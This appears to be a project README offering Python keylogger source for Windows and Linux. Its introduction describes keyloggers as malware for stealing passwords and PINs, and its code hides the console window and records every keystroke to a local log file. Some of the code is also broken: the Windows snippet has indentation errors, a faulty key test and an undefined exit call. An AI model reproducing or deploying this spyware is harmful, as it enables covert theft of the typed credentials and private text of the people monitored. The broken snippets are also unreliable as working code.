KEYLOGGER-CAPTURE

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Description :

- In this Project i am going to create a keylogger using python programming language which stores the captured Data in a txt file for windows as well as linux.

Introduction

- Keyloggers are a type of computer malware that records keystroke events on the keyboard and saves them to a log file, allowing it to steal sensitive data like passwords. Malicious software captures usernames, PINs, and passwords as a result. Without drawing the user's attention, the hacker Keyloggers possess a big threat to both Transactions such as commercial and personal i.e., E-commerce, online banking, email chatting, and other similar activities are examples of online activities.An attacker can collect valuable data without entering into a strong database or file server using this method.

- The main purpose of keyloggers is to tamper with the chain of events that occur when a key is pressed, and information is displayed on the screen as a result of the keystroke. Keyloggers can be used for both lawful and illegitimate objectives, depending on the user who is utilising it. Keyloggers for systems, i.e., for identifying fraudulent users, can be used by system administrators. Keyloggers can help a computer forensics analyst examine digital files more effectively. Keyloggers are extremely useful for keeping track on ongoing criminal activity.

We can create a keylogger program using Python to capture the keystrokes typed through a computer's keyboard. The keystrokes are saved in a text file, and it records all input. You can use a key logger to monitor activity on your computer.

- In this Project i am going to create a keyloggerusing python programming language for windows as well as linux.

Keylogger for Windows

Download some python libraries
1) pywin32
2) pyhook'
Following is the code to create a keylogger in python

```python
- Python3

# Python code for keylogger
# to be used in windows
import win32api
import win32console
import win32gui
import pythoncom, pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)

def OnKeyboardEvent(event):
        if event.Ascii==5:
                _exit(1)
        if event.Ascii !=0 or 8:
        #open output.txt to read current keystrokes
                f = open('c:\output.txt', 'r+')
                buffer = f.read()
                f.close()
        # open output.txt to write current + new keystrokes
                f = open('c:\output.txt', 'w')
                keylogs = chr(event.Ascii)
                if event.Ascii == 13:
                keylogs = '/n'
                buffer += keylogs
                f.write(buffer)
                f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
```

```
# wait forever
pythoncom.PumpMessages()
```

- Save the file in C:\ as Keylogger.py and run the python file
- Output: The keylogger will be started in the background and save all the data on the log file "c:\output.txt".

Keylogger in Linux

- pyxhook requires python-Xlib. Install it if you don't have it already.

```
sudo apt-get install python-xlib
```

- Download pyxhook library

```python
# Python code for keylogger
# to be used in linux
import os
import pyxhook

# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file = os.environ.get(
        'pylogger_file',
        os.path.expanduser('~/Desktop/file.log')
)
# Allow setting the cancel key from environment args, Default: `
cancel_key = ord(
        os.environ.get(
                'pylogger_cancel',
                '`'
        )[0]
)

# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get('pylogger_clean', None) is not None:
        try:
                os.remove(log_file)
        except EnvironmentError:
```

```
            # File does not exist, or no permissions.
                pass


#creating key pressing event and saving it into log file
def OnKeyPress(event):
        with open(log_file, 'a') as f:
                f.write('{}\n'.format(event.Key))


# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
        new_hook.start()                          # start the hook
except KeyboardInterrupt:
        # User cancelled from command line.
        pass
except Exception as ex:
        # Write exceptions to the log file, for analysis later.
        msg = 'Error while catching events:\n {}'.format(ex)
        pyxhook.print_err(msg)
        with open(log_file, 'a') as f:
                f.write('\n{}'.format(msg))
```

- Output: The keylogger will be started in the background and save all the data on the file.log file "/home/Desktop".
- Reference : https://en.wikipedia.org/wiki/Keystroke_logging